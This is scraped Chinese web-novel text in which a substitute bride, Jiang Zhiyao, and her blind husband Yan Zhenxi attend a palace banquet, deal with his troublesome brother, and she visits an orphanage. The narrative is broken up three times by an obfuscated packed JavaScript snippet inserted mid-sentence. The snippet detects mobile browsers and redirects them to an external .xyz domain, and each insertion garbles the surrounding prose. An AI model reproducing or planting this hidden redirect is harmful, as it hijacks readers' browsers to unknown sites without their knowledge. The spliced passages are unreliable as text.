在奖赏完将士们后，圣上又说了几句场面话后，突然余光看到了柱子旁的晏枕溪，他当即表情微愠：“是谁排的席位？” 大殿里瞬间安静下来，一个人战战兢兢地站了出来。 “你是怎么排的！晏爱卿是朕的恩人，怎么坐在那里？！”语气中全是不满。 晏枕溪闻言站了起来，动作稍显急切，走出去的时候磕到了桌角，发出了不小的响声。 姜知瑶下意识倾身想要去扶他，但下一秒晏枕溪已经重新站稳。 “臣无事。”晏枕溪毕恭毕敬向圣上行了一个礼，“臣眼睛不便，也欣赏不了歌舞，这个位置正好。” “晏爱卿还是和以前一样善解人意啊。”圣上说道，然后微眯了下眼睛，浑浊的目光看向姜知瑶，“那你的夫人呢。” 顶着四面八方的目光，姜知瑶努力镇定下来，站在晏枕溪身边，把声音放大：“回陛下，妾身也觉得这个位置正好。” 声音有些不易察觉的颤抖。 晏枕溪听出来了，不知为何，借着宽大的衣袖，他轻轻捏了捏姜知瑶的手掌心。 姜知瑶突然安定了些，觉得没有那么紧张了。 “哈哈哈哈那就好。”圣上一时兴起问道，“晏爱卿，朕这个赐婚不错吧，你现在有了一个这么好的夫人。” “对了，你姓什么来着？”还没等晏枕溪回答，圣上的目光又向姜知瑶投来。 “妾身姓姜。” “姜氏，你可要好好照顾晏爱卿啊。”又没等姜知瑶回答，圣上继续说道，“好了，宴会继续吧。” 歌舞声重新响起，晏枕溪和姜知瑶回到了原来的座位上。 众人继续谈笑着，刚刚过去的仿佛只不过是一个小小插曲而已，但姜知瑶现在已经无心在宴会上。 姜知瑶轻轻吐出了一口气，说实话，今天还是她第一次见到圣上。 但和之前听到的圣上喜爱晏枕溪不同，姜知瑶觉得，圣上分明不喜晏枕溪，而且是，非常不喜。 晏枕溪心不在焉地饮着杯中的茶。 这场宴会还真是和他想象的一样无趣又烦人。 圣上一向厌恶晏家，不过也在情理之中，哪个权利者会喜欢自己手中的权利被旁人分走哪怕一点。 晏家的名声实在是太大了。 对晏枕溪的赐婚明面上是弥补，但圣上是因为对于晏枕溪和三皇子之间的关系有所猜忌，才会下那道赐婚的圣旨。 虽然三皇子和纪婉清只是私下交好，除去一些亲近的人无人知晓，但对于圣上这样一个久居高位的皇上来说，向来喜欢掌握一切，三皇子和纪婉清的关系他自然也清楚。 至于赐婚，圣上当时写旨的时候，没有表明姓名，也是想留有些余地，纪通海爱女的名声整个京城都清楚，圣上也不想和自己的臣子之间有太大的隔阂。 这个赐婚的圣旨也是试探的意味居多，想看晏枕溪会不会有所动作。 但他也确实没想到纪通海竟然就真的这么疼爱自己的女儿，宁愿冒着抗旨的风险也不愿让自己的女儿嫁过去。 再者虽然是姜知瑶嫁过去，但这样来晏家嫡长子娶了一个没有一点背景和势力的女子，对他来说也是好事。 不管晏家结交了多少势力，起码明面上不会再因为他的婚事而多加其他的势力了。 所以对于姜知瑶的替嫁这个行为，圣上也是睁一只眼闭一只眼。 至于晏赐应那个晏家的二公子，圣上倒是很乐意帮他掌控晏家，那样愚笨之人，怕是没多久晏家就会被他自己搞垮。 - 宴会结束，坐在回晏府的马车上，姜知瑶彻底放松下来。 这次的宴会上，她不仅没有怎么欣赏到歌舞，甚至连饭菜都没有吃上几口。 因为等圣上说完话后方可动筷，菜早就都凉了。 在狭小的车厢内，姜知瑶的肚子发出了声响。 姜知瑶的脸瞬间涨红。 晏枕溪轻笑了一声，姜知瑶听到后更觉得尴尬了，恨不得现在就从这个马车里钻出去。 “我有些饿了，前面有家好吃的馄饨摊，你要一起吗？”晏枕溪笑着问姜知瑶道。 “好。”姜知瑶答应了下来，她是真的饿了。 没过多久，马车停了下来。 街边的小摊上，摊主和顾客的谈笑声伴着空中蒸腾着的热气，姜知瑶倒是觉得这里的氛围比皇宫的宴会更加让她喜欢。 不多时，两碗馄饨被端了上来。 薄又白的皮包裹着里面透着粉红的肉馅，汤中还加了一点紫菜，几个小虾米浮在汤面上。 春天的夜晚还是有些凉，看着面前香气四溢又让人感到温暖的吃食，姜知瑶不禁食指大动。 见对面的晏枕溪用汤勺缓缓舀起了一勺汤汁，姜知瑶也先尝了一口汤。 唔，姜知瑶的眼睛亮了一点，好好喝，很鲜。 姜知瑶又舀起了一个馄饨吃了起来，鲜咸的味道不断袭击着味蕾，到腹中又温暖了身子，姜知瑶觉得这碗馄饨比刚刚宴会上的山珍海味好吃不少，当然，也可能是她饿了的原因。 一个两个馄饨接连下肚，姜知瑶已经快吃了一大半了。 姜知瑶看向了晏枕溪，他的碗中还剩很多，他缓慢地吃着，哪怕是在街边的小摊上，用着木制的筷子和廉价的碗碟，都不失矜贵的感觉。 馄饨里的油水让他的唇现在看起来有些红润晶莹，姜知瑶盯着看了好一会才移开视线，便又将目光放在了他精致俊美的脸庞上。 他真的好好看啊，姜知瑶不知这是多少次在心底感叹道。 若不是晏枕溪现在眼睛看不见了，姜知瑶怕是一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15901188|176640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辈子也不敢这样直勾勾地看着他。 姜知瑶其实从小就一直很喜欢好看的东西。 喜欢好看的花和树，喜欢好看的糕点，喜欢好看漂亮的衣服，喜欢好看精致的首饰。 但她从来都得不到，只能远远观望着。 小时候，她看过最好看的花朵在那个大宅院的花园里，但她不被允许进去，只远远的看过几次。 那真的是最好看的花朵吗，姜知瑶也不知道，她其实只看到了它的颜色，是那样大朵浓烈的色彩，径直撞进了她的视野。 宅院里那些下人称呼的二小姐身上的衣服也很好看，有精致的绣花，还有和那个花朵一样浓烈的色彩。 头上的发髻也好好看啊，姜知瑶最喜欢偷偷看她们发钗上面悬挂着的流苏，一摇一摇的，还有上面流光溢彩的宝石，有时在阳光的照耀下晃着眼睛。 她小时候就知道，所以有鲜艳色彩的东西都很贵。 姜知瑶最开始也喜欢那个二小姐，她长得很好看，加上好看的衣服和首饰，就更好看啦，所以姜知瑶有时会偷偷去看她。 但是那个二小姐不喜欢她，有次发现了她，叫着姜知瑶姐姐，把她哄骗过去后，再扯着姜知瑶的头发，质问她凭什么担着府中大小姐的称呼。 姜知瑶只觉得疑惑，自己也是小姐吗，然后才是头皮上后知后觉的刺痛。 后面姜知瑶就不喜欢去看她了，也不再喜欢偷偷离开有娘亲在的院子里了。 花园里的花朵有什么好看的，院子石缝里开出的小花也很好看。 有华丽刺绣和色彩招摇的衣服有什么好的，娘亲做的衣服也很好看啊，虽然素净，但上面有娘亲专门给她绣的一只可爱小狗。 有流苏的发钗又有什么好的，娘亲种的菜花插在头上也很好看啊，娘亲总是夸她簪上去就像和小仙女。 但姜知瑶觉得娘亲才是仙女，会温柔地在睡前唱着歌谣，会做好吃的，身上也总是有好闻的皂香味，是上天专门给她一个人的仙女。 虽然自己有的东西也很好，但姜知瑶有时还是会想，要是自己有那些好看的东西就更好啦。 如果她有了，她要给娘亲和自己穿最好看，最色彩耀眼的衣服，头上带上满满登登的好看发钗。 姜知瑶暗暗想着，期待着自己的长大。 但娘亲没能熬过姜知瑶十二岁的那个冬日。 姜知瑶愣愣地守着娘亲，不愿旁人把娘亲从自己的身边夺走，但没有用。 她就在那个院子里度过了没有娘亲的三个月，那也是她最不愿意回想的三个月。 之后，一个姜知瑶不认得的嬷嬷来了，看到她后哭着抱住她，把她带到了纪府。 后面慢慢都好起来了，姜知瑶有了好看的衣服和首饰，但悲哀的是，姜知瑶发现自己不敢穿色彩浓烈的衣服出去，也不敢头上插着好看华丽的发钗。 纵使有娘亲的保护和陪伴，但小时候的那些奚落恶意和物质的匮乏还是如影随形。 最悲哀的是，娘亲不在了，姜知瑶有时看到一匹好看的绸缎，立马就觉得这个肯定很适合娘亲，但后面又茫然地想起来，她的娘亲不在了。 姜知瑶总是觉得，这些好看的东西不会一直属于她，就算得到了，也只是一时的，况且她觉得自己配不上这些好看的东西。 就像晏枕溪一样，哪怕离的这样近，但姜知瑶清楚的知道，两个人之间其实隔了一条无法跨越的鸿沟。 面前的晏枕溪端坐着，气质清贵，原本系在后面垂下来的眼纱被晚风吹起，姜知瑶顺着飘逸的薄纱看到了天上的月亮。 晏枕溪与她而言，就是镜中花，水中月。 是一场大胆又绮丽的梦境。 她如果想下水捞月，最终只会得到一个溺水身亡的下场。 但她还是希冀着那轮明月啊，清醒的沉溺着，哪怕知道最后会粉身碎骨。 姜知瑶轻轻摇了摇脑袋，收回自己的思绪，静静地吃着碗中剩下的馄饨。 8. 晏赐应 晏枕溪是第一次和旁人一起来这吃馄饨。 这个馄饨摊是他两年前偶然来尝过的。 彼时他刚刚参加完科举，拿下殿试第一，在旁人眼里风光无限。 那天参加完宫中的宴会，晏枕溪出皇宫后就下了马车，自己慢慢走着。 想起宴会上的虚为委蛇，推杯换盏，晏枕溪只觉得一阵恶心。 尤其听着那皇上捧杀般喜爱的话语，晏枕溪看着皇上衰老的脸上垂下的褶皱和他眼里掩饰不去的厌恶，只觉讽刺。 胃中都是刚刚喝下的酒，现在有些烧灼般的疼痛。 他突然很想吃点东西。 不远处，一个馄饨摊蒸腾着热气，香味传来。 晏枕溪向那个摊子走去，要了一碗馄饨。 是之前的他和京城世家的人眼中看不上的吃食，但那天他意外地吃的很满足。 鲜香的馄饨和汤下肚，缓解了胃中的不适。 之后参加完宫中的宴会后，晏枕溪都会时不时地来到这个摊子，点上一碗馄饨。 每次都是他一个人，看着其他桌上的三四好友，成双成对，晏枕溪却很享受自己一个人。 京城里温文尔雅的贵公子，其实骨子里透着的是冷漠和高傲。 他从来不屑与谁交心，和谁都带着那假笑的面具，和谁相处都保持着适当的距离，与谁的亲近，也不过是他有目的地接触。 在他的眼里，只有盟友，没有朋友，至于其他的更加亲密的关系，他更是避之不及。 思绪回到今天，晏枕溪看着面前乖巧吃着的姜知瑶，蓦然觉得，其实有人陪着也还不错。 姜知瑶吃得很快，许是因为知道他看不见，与有其他人在场时小口小口吃的动作不同，她现在一口一个馄饨，看起来吃得很香。 但动作并不粗鲁，反而有种说不出来的可爱，晏枕溪嘴角勾起一抹浅笑。 腮帮子一鼓一鼓，更像一只兔子了呢。 晏枕溪看着她，自己吃馄饨的动作不觉就慢了下来，反观姜知瑶这边，没多久就吃完了一大半。 察觉到她的目光要向自己投来，晏枕溪心跳快了一瞬，随即镇定地移开自己的视线。 姜知瑶的目光迟迟没有从他身上移开，晏枕溪又想起了大婚的那个夜晚，他挑开她的盖头后，姜知瑶也是盯着自己看了好一会。 以往有女子盯着自己看，晏枕溪知道是因为自己的皮囊尚可，但姜知瑶盯着他看，晏枕溪却不会往那方面去想。 凭晏枕溪浅薄的感情知识，他只知道女子若是喜欢一个人，要么会害羞脸红，要么会热情奔放。 但多少都是有所表露的，姜知瑶对他却从来没有过。 虽然姜知瑶在自己面前也时常脸红，但晏枕溪知道，她只是单纯地觉得不好意思或者不自在。 既然不是因为喜欢自己，晏枕溪的眉头微微拧起，所以她是在观察自己的眼睛到底有没有瞎吗。 心情莫名变得很糟糕。 - 那天的宴会结束后，因为三皇子一直缠着纪婉清，程明珠忙着应付相看，两个人都抽不出时间，姜知瑶已经十多天没有出府和她们一起玩了。 今日难得她们两个都有空，姜知瑶兴致冲冲地装扮完，准备出府。 一只脚刚刚踏出府门，身后就传来了一道陌生带着点恶劣的声音。 “哟，这是嫂嫂吧？” 姜知瑶收回了迈出去的那只脚，轻轻叹了一口气转身问了个好：“小叔。” 来的人正是晏赐应，顾兰茹的亲儿子，京城里最有名的纨绔。 晏赐应原本只是买了一个小官当，但他前段时间被安排去往了其他地方历练，好回京后升职，姜知瑶知道他最近回京城了，但没想到今天会遇见他。 面对自己的嫂嫂，晏赐应也没有丝毫要尊敬的意思，挑了挑眉问道：“嫂嫂这是要去哪里？” “出府去见友人。” “哦？友人，怕不是情人吧哈哈哈。”晏赐应走近了些，“怎么？嫌弃我的好哥哥？要不你跟着我，怎么样？” 原本晏赐应只是想说第一句羞辱一番，但走近看到了面若芙蓉的姜知瑶，莫名地说出了下一句话语。 这样看起来清纯的小美人，还是自己的好嫂嫂呢。 姜知瑶退后了一步，脸上难得有些不加掩饰的厌恶：“请自重。” 说完就带着南枝离开了。 晏赐应没再说什么，看着姜知瑶离开的背影，眼底满是趣味，随后摇着扇子也出了府门。 他刚从那个穷乡僻壤的地方回来，虽然地方官员把最好的东西和美人都献了上来，但晏赐应都很嫌弃，不明白为什么自己的母亲一定要让他去那里。 如今好不容易回到了京城，晏赐应自然要先去好好玩上一番。 另一边，手下把刚刚在府门口发生的事情告诉了晏枕溪。 “找人把他打一顿。”顿了一会又说到，“打重点。” 他这个好弟弟肆意妄为的性格，有一大半是顾兰茹溺爱出来的，剩下的则是晏枕溪有意为之。 晏赐应身边的那些撺掇他的狐朋狗友和小厮，有一部分是晏枕溪安排或收买的。 而他纨绔的名声，晏赐应确实做了那些事，但之所以在京城里人尽皆知，其中也有晏枕溪的手笔。 虽然晏枕溪经常在帮他收拾那些烂摊子，获得了些夸赞的声音，但晏枕溪很清楚自己的本性如何，他就是冷漠利己。 若是他以真面目示人，怕是现在自己的名声要比晏赐应差上千万倍，但那又如何。 回想起刚刚手下复述的话语，晏枕溪眸色深沉了些，他竟然敢对自己的大嫂出言不逊。 晏赐应刚出花楼，就被人套上麻袋狠狠打了一顿。 直接被打晕过去了，最后还是被人发现在花楼后的小巷子里，抬回了晏府。 “真的，听说他被人发现的时候脸都肿成猪头了呢。”南枝在姜知瑶面前夸张地形容道，“肿的这么——大。” “哈哈哈。”姜知瑶被逗得笑了起来。 “都是他活该。”南枝提起晏赐应就气不打一处来，竟然那样和小姐说话。 “听说十天半个月都下不了床了，一下地就疼的嗷嗷叫呢。”南枝煞有其事地说道。 不过应该是真的，这是她从其他侍女那里听来的，晏府中的下人都不喜欢晏赐应，如今知道这个消息都很是高兴。 姜知瑶听到后也开心了一瞬，看来短时间不会再碰到他了。 门口响起了敲门声，姜知瑶下意识看向门口。 “夫人，今日要一起用膳吗？”是晏枕溪温和好听的声音。 姜知瑶很是惊讶，瞪圆了些眼睛，她没有听错吧？ 见许久未有回应，晏枕溪又问了一遍。 姜知瑶回过神来，前去开门：“好啊。” 有一点点开心，这还是他第一次主动来找自己，在开门前，姜知瑶努力平复了下自己有些不争气的心脏，但在近距离看到晏枕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15901189|176640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 溪后，心脏跳得更厉害了。 晏枕溪微微低头看着面前眼睛有些发亮的姜知瑶，薄纱下的眼角微微弯起。 他也不知道自己怎么了，在书房总是莫名想起她。 她这样胆怯的性格，晏赐应对她说了那种话，她是不是会很生气和不知所措。 算了，晏枕溪放下手中的书，拿起了最轻薄可见的眼纱，来到姜知瑶门前。 在姜知瑶的推荐下，晏枕溪留在了在她这用膳，原本是打算带姜知瑶去他那边的。 “怎么样？”姜知瑶期待地问道。 “好吃。”晏枕溪尝完后肯定道。 确实不错，竟然比晏府自己请来的厨子做得还要好吃。 姜知瑶笑了起来，南枝的手艺没话说。 她原本很瘦，还是因为南枝的手艺现在都有了些脸颊肉。 “今日之事委屈你了。”晏枕溪声音放柔说道，“如果后面还有这样的事，你可以跟我说，我会好好训导他的。” 明明语调温柔，但姜知瑶莫名觉得他语气有些发冷。 “好。”姜知瑶乖乖应下，看了眼温和的晏枕溪，肯定是自己感觉错了。 她没有问晏枕溪是怎么知道的，今天那件事发生在府门口，那边的下人很多，晏枕溪会知道也很正常。 “月例还够用吗？” “够的。”虽然晏府克扣了许多，但对于姜知瑶来说，还是够用的，而且她还有自己的小资产。 晏枕溪看着姜知瑶，见她面上没有丝毫勉强的意思，知道她是真的觉得够用。 还真是好养。 晏枕溪知道晏府克扣了些，也知道姜知瑶有自己的铺子，但那些收益在他看来不过牛毛，之前见她没有说过这事也没放在心上。 但如今仔细一算，真的太少了。 “每个月可以再来我这拿一百两的月例。”晏枕溪思忖了一下，这些应该差不多。 “嗯？！”姜知瑶不由小声惊呼了一下，这也太多了吧。 之前自己在尚书府的时候月例有十两，她已经觉得很多了，晏府虽然只给五两，姜知瑶也觉得够用。 但一百两也太多了吧！ 姜知瑶一时有些怀疑自己听错了，况且晏枕溪有这么多钱吗。 见姜知瑶没有回应，晏枕溪轻笑了一下：“没事，我有很多钱的。” 他有许多京城里繁华地段的店铺，也有很多产业，而且晏府的实际掌控还在他手里。 平时打点结交官员，养暗卫，收集情报，样样都是格外废钱的，与他而言，一个月给一百两不算什么。 见姜知瑶还是抬头惊讶地看他，晏枕溪手莫名有些痒，手指蜷缩了下，想拍拍她的脑袋，但又想起自己如今的状况，还是作罢。 “这个月的今晚就给你送过来，好不好。” 姜知瑶有些迷糊地应了下来：“好。” 等晏枕溪离开，晚上银两送过来后，姜知瑶才知道是真的。 看着一旁亮闪闪的银子，姜知瑶很矜持地没有上手，只是眼睛没有从上面离开。 南枝则是很兴奋：“哇！小姐，我们要发财了诶！” 姜知瑶想，这是对她的补偿吗？因为他弟弟的那些话。 她其实没觉得有什么，当时确实是有些觉得厌恶，但毕竟自己没有做错什么，没必要为了其他人而生气，不值得。 但看着面前的银两，姜知瑶还是没忍住地弯了弯眼角。 今天的晏枕溪很温柔呢。 9. 涂药 “滚出去！”又是一阵噼里啪啦花瓶掉地碎裂的声音，下人们连忙退出房间。 晏赐应躺在床上，因为刚刚的动作牵扯到伤口，现在正龇牙咧嘴着。 这些下人笨手笨脚的，连药都上不好。 晏赐应现在很烦躁，到底是谁派人打的他，这都好几天过去了，还是一点线索都找不到，晏赐应咬紧后槽牙，那个人最好祈祷千万不要别他找到。 因为身上的伤，晏赐应觉得回来这些天竟然还没有在那个穷地方过得好。 而且因为母亲管着，他身边连一个长得眉清目秀的侍女都没有。 晏赐应眼珠转了一下，对身边的小厮说道：“把我那位好嫂嫂叫过来。” 姜知瑶的房间里。 “二公子？他来找小姐去干嘛？”南枝在听完那个小厮的话后疑惑道。 “反正肯定不安好心，小姐，我们不去。”南枝摇了摇头，管他干嘛，不去就好了。 门外的小厮见里面久久未有回应，又继续在门口说道：“我们公子说，如今的晏府对都是他说了算，就算不在乎府中分给你们院子的月例，他作为弟弟受伤这么久了，大公子眼睛不方便没来就算了，少夫人作为嫂嫂也不去看看吗？” 姜知瑶揉了揉眉心，之前听说这个晏赐应向来爱胡搅蛮缠，没想到竟然真的这么爱缠人，都动不了了还搞事情。 “算了，我们去看看吧，反正他也做不了什么。”姜知瑶站起来理了理衣摆。 她不想给晏枕溪添麻烦，虽然昨天晏枕溪对她说，若是晏赐应还烦自己可以去找他，但姜知瑶并没有放在心上。 过来这么久了，姜知瑶其实也看到了晏枕溪在晏府上地位的尴尬，甚至过节日主院都没有叫过他们过去。 反正晏赐应现在动不了，况且她是晏赐应的嫂嫂，顶多就言语骚扰几句，而且作为嫂嫂，他受伤了确实要去看看。 但姜知瑶还是带上了她从尚书府带过来的护卫一起去了。 “嫂嫂你来了？”晏赐应语气中是毫不掩饰的恶劣。 晏赐应趴在床上，眯起眼看着姜知瑶。 心里是止不住的得意。 晏枕溪一直是他头顶上的阴影，从小开始就是，每次旁人都拿他和晏枕溪对比，说他怎么怎么不如晏枕溪，就连父亲有时都会看着他摇头，说自己要是有半分像晏枕溪就好了。 他晏枕溪到底有什么好的？晏赐应在心底冷嗤，不过是比他会装罢了。 但是如今，哈哈哈哈哈哈，在得知晏枕溪眼睛彻底看不见后，晏赐应简直想仰天长笑，就算之前再风光又怎样，如今不还是废人一个。 晏府最终还是要落在自己手里的。 看着面前穿戴素净的姜知瑶，晏枕溪的心里更是扬扬自得。 就算晏枕溪之前是全京城女子倾慕的对象又怎样，最后不还是娶了一个毫无背景的女子，而自己现在，是晏府的未来的主人，就算是尚公主他也是配的。 晏枕溪娶的妻子他现在还不是召之即来挥之即去。 说到底，晏赐应还是不敢当面找晏枕溪麻烦，就算晏枕溪如今双目失明，但他留给晏赐应的阴影还在，晏赐应有时看到晏枕溪那脸上的不变微笑就头皮发麻。 但他这个妻子倒是看上去软弱可欺。 “二公子有什么事吗？”姜知瑶走到晏赐应床前问道。 “下人都毛手毛脚的，我要嫂嫂帮我涂药。”晏赐应侧过头笑眯眯地看着姜知瑶说，“就这点要求嫂嫂不会拒绝我吧？” “是这个药吗？”姜知瑶拿起了床头的小药瓶，也没等晏赐应回应，打开对着晏枕溪手臂上的伤口就倒了下去。 “啊！”晏赐应的手臂传来一阵剧痛，他连忙低头看去，只见最血肉模糊的伤口处被撒了一层厚厚的白色药粉。 “你是蠢吗？！”晏赐应疼地动不了，只能任由药粉在他伤口上。 “啊？”姜知瑶看上去很是惊讶，“抱歉，我不太会涂药，不是这样吗？” 姜知瑶当然知道，床头有好几种伤药，她拿的是最活血化瘀的一种，药效快，但会很痛，尤其是姜知瑶什么处理都没有就直接全洒在伤口上。 “啊你快滚，让，让其他人来。”晏赐应疼的头直冒汗。 一旁的下人都上去重新给晏赐应处理伤口，姜知瑶看晏赐应没空管她的样子，离开了房间。 离开晏赐应的院子后，姜知瑶有一点点开心。 姜知瑶向来习惯了退让，只有当别人侮辱她最在意的人时她才会与人争辩。 像今天这样动手还是第一次，虽然在旁人眼里也许不算什么，但对姜知瑶来说已经很难得了。 想着刚刚晏赐应痛苦的样子，姜知瑶微微弯起眼角。 让他以前欺负晏枕溪。 - 骨节分明，修长白皙的中指和食指间夹了一颗白棋。 晏枕溪像是在犹豫要往哪下。 “那她现在在做什么？”声音格外清冷。 “在用午膳。”暗卫垂首回答道。 “知道了，你下去吧。”棋子落在棋盘上发出好听的响声。 啧。 都说了可以来找他，就这么任由自己被欺负吗？ 是不相信他？为什么要答应晏赐应的要求。 不知为何，那晚宴会结束后，晏枕溪总是时不时就会关注姜知瑶。 听手下汇报她的时间也越来越长。 她和侍女在厨房又做了什么好吃的，和下人今天打叶子牌又输赢了多少。 她去茶楼听了什么说书，又去听了什么歌曲。 她又给街边的乞儿吃食了，又去给什么慈幼堂捐款了。 明明自己也没什么银两，晏枕溪知道她手下最盈利的一家铺子的所有收益她都捐出去了。 就算见到街边的小猫小狗她都会施舍。 晏枕溪最讨厌这样的人，不管是真心还是虚伪的，他都讨厌。 他不能理解这样的行为，若是为了博名声罢了，但姜知瑶每次捐款都不会留下自己的名字。 月例被克扣也不争辩什么，下人怠慢也不生气，被顾兰茹晏赐应欺负也不恼。 做什么都一副不争不抢的样子，一副谁都可以欺负的软弱模样。 小时候，他有受到欺负，就想尽办法解决，父亲不管他，他就捅到所有人面前；知道父亲更偏向晏赐应，他就想尽办法在京城里营造自己的名声；知道圣上想除掉晏家，他就主动与三皇子结盟。 他这一路，向来都是又争又抢，不择手段。 脸上的假面容连他自己都数不清，而姜知瑶与他完全相反，干净的一眼可以看清。 明明自己最不喜这样的人，但却还总是对她一次次的关照。 昨天他专门前去，就是想告诉她，若是日后遇到事情了，可以来找他，他有能力可以解决，那一百两就是隐晦的暗示。 在她面前，他甚至装出了前所未有的温和和亲近。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15901190|176640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 但就算这样，她也不会稍微利用一下自己吗？ 算了，晏枕溪展开微拧起的眉心，自己最近对她的关注太多了，没有必要。 他叫来了刚刚下去的暗卫：“日后不必看着她了。” 这么久的观察下来，晏枕溪早已知道姜知瑶不会是谁派来试探自己的。 “是。”暗卫应下后消失，去完全其他见不得人的任务。 - “姜姐姐。”一位衣服朴素但很干净的小女孩眼睛亮亮地看着姜知瑶：“这是我们送给你的花。” 她用双手捧着一束五颜六色的花。 “姐姐姐姐，这朵蓝色的是我做的。” “这朵紫色是我做的。” 其他的小孩也七嘴八舌地围上来指给姜知瑶看。 “谢谢你们，我很喜欢。”很字音调加重，拖长了一些，好让小孩们都能清楚地听见。 姜知瑶蹲下来，用双手接过，仔细地欣赏着这捧花束。 有十六枝用干草编的形状各异的花朵，每朵都用不同花草的汁水染上了好看的颜色，看得出来制作的人都非常用心。 姜知瑶站起来笑着说：“今天带了好吃的来哦。” “耶！”小孩们欢呼着，然后再乖巧地排起了队伍。 姜知瑶分饴糖，南枝分糕点，不一会儿就都分完了。 看着小孩们高兴的样子，姜知瑶也不自觉笑了起来。 这个地方是她第一个资助的慈幼堂，都是收留些无家可归的孤儿。 是几年前的一个下午，姜知瑶上街玩的时候被一个小孩抢了荷包，因为荷包里有娘亲留给自己的一个银发钗，当时姜知瑶便追着她来到了这里。 虽然是慈幼堂，但因为只是一个小规模民办的而且无人资助，所以很破，巴掌大的地方挤了一堆瘦的像猴子一样的小孩。 在得知姜知瑶为什么来后，唯一一个管事的老奶奶颤颤巍巍地和姜知瑶道歉。 看着躲在老奶奶身后的小女孩和眼前瘦弱的一群小孩，姜知瑶的心一下子被揪了起来。 她当时就把发钗拿了出来，其他的用于资助他们。 唯一的要求就是不能再去偷东西了。 在姜知瑶还在尚书府的时候，她就每个月从自己的月例中拿出一些来资助，平时还会卖些自己的刺绣或者抄书得来的银两用来捐赠。 偶尔姜知瑶会带上一些东西过来看看他们，然后和他们一起玩。 有的时候纪婉清和程明珠也会一起过来。 小孩们都不知道姜知瑶叫什么，只知道她姓姜。 几年过去，有的小孩已经长大了离开了这里，也有新的小孩来到了这里。 每当在街上的小摊或店铺上看到资助过的小孩已经靠自己谋生时，姜知瑶心里就会有种说不出来的欣慰和喜悦。 讲讲故事，玩会游戏，太阳就慢慢西沉了。 看着面前舍不得的小孩们，姜知瑶安慰道：“姐姐下次还会来的。” “姜姐姐再见。”“姐姐再见。”是小孩们依依不舍的声音。 道别完后，姜知瑶回到了晏府。 把花束插在了房间最显眼处的一个漂亮花瓶里，姜知瑶满意地看着：“真好看。” 不管是颜色还是形状。 南枝也点点头：“非常好看。” 姜知瑶笑着回应，商量起了下次带什么过去。 除去上午发生的小插曲，今天真是很美好的一天。 10. 茶楼 “枕溪，枕溪？”耳边是三皇子的声音，“你在看什么？” 顺着晏枕溪的视线看去，三皇子看到了姜知瑶她们。 “是婉清。”三皇子看到纪婉清后很是惊喜。 晏枕溪收回了目光，淡定说道：“没什么，我们继续议事吧。” 这里是全京城最大的茶楼，天享楼，同时也是晏枕溪手里的一个产业。 这里也是他和三皇子见面最多的地方。 茶楼的顶层有个厢房是专门招待他们的，在这里基本上可以看到整个茶楼，也可以看到大半个京城，同时隐蔽性也很好。 在刚刚三皇子说话的时候，晏枕溪无意识看向下面，便看到了姜知瑶。 她和纪婉清还有程明珠坐在一起，是个半开放的雅间，此时正在聊天说笑，是晏枕溪从没见过的放松姿态。 晏枕溪不由盯着看了一会。 她在听别人说话的时候喜欢看着人的眼睛，现在笑起来她那双水润杏眼肯定是亮晶晶的，要是能离近点就好了。 随后意识到自己在想什么后的晏枕溪立马微皱起了眉头，想把话题重新拉回正轨。 “将军府那边……” 但被三皇子给打断了。 “枕溪，第一次见你盯着一个女子看诶。”三皇子的语气中满是揶揄。 与晏枕溪也相处这么久了，晏枕溪并没有刻意隐瞒什么，三皇子也知道他的性子，如今看到他这样有些反常的举动，自然好奇。 他才不会认为晏枕溪是因为自己之前说的话而对姜知瑶另有关注。 “殿下多想了。”晏枕溪否认了三皇子话中未尽的猜想，把话题截住。 三皇子看着晏枕溪的表情，还是一如既往的冷淡，虽然嘴里叫着他殿下，却不见有丝毫尊敬的意思，仿佛对他来说只是一个称呼而已。 “算了算了，今天快点结束吧，我等下好去找婉清。”三皇子撇了撇嘴，实在是无法从晏枕溪那面无表情的脸上看出什么，只好歇了想听八卦的心思。 大约过了半个时辰，三皇子走出了厢房来到下面。 “婉清婉清。”声音听起来带些急切又满是愉悦。 原本还在和姜知瑶她们聊天的纪婉清看了过去。 “见过三皇子。”姜知瑶和程明珠起身行了个礼。 “无妨。”三皇子抬手示意她们坐下，眼神一直在看着纪婉清，热切地像是见到骨头的狗一样。 纪婉清无奈，过去抬手轻轻敲了下三皇子，让他在有人的地方正常一点。 今天也聊得也差不多了，纪婉清和姜知瑶她们道别完后就带着三皇子走了。 他们走后，程明珠用手托腮说道：“下次问问纪婉清怎么做到的，三皇子每次在她面前就和大狗狗一样。” 因为在战场上厮杀，三皇子比其他的皇子看上去更像一个武夫，身材大块，比纪婉清高上不少，明明是富有压迫感的体型，但在纪婉清面前却乖巧地不行，每次都看的程明珠浑身起鸡皮疙瘩。 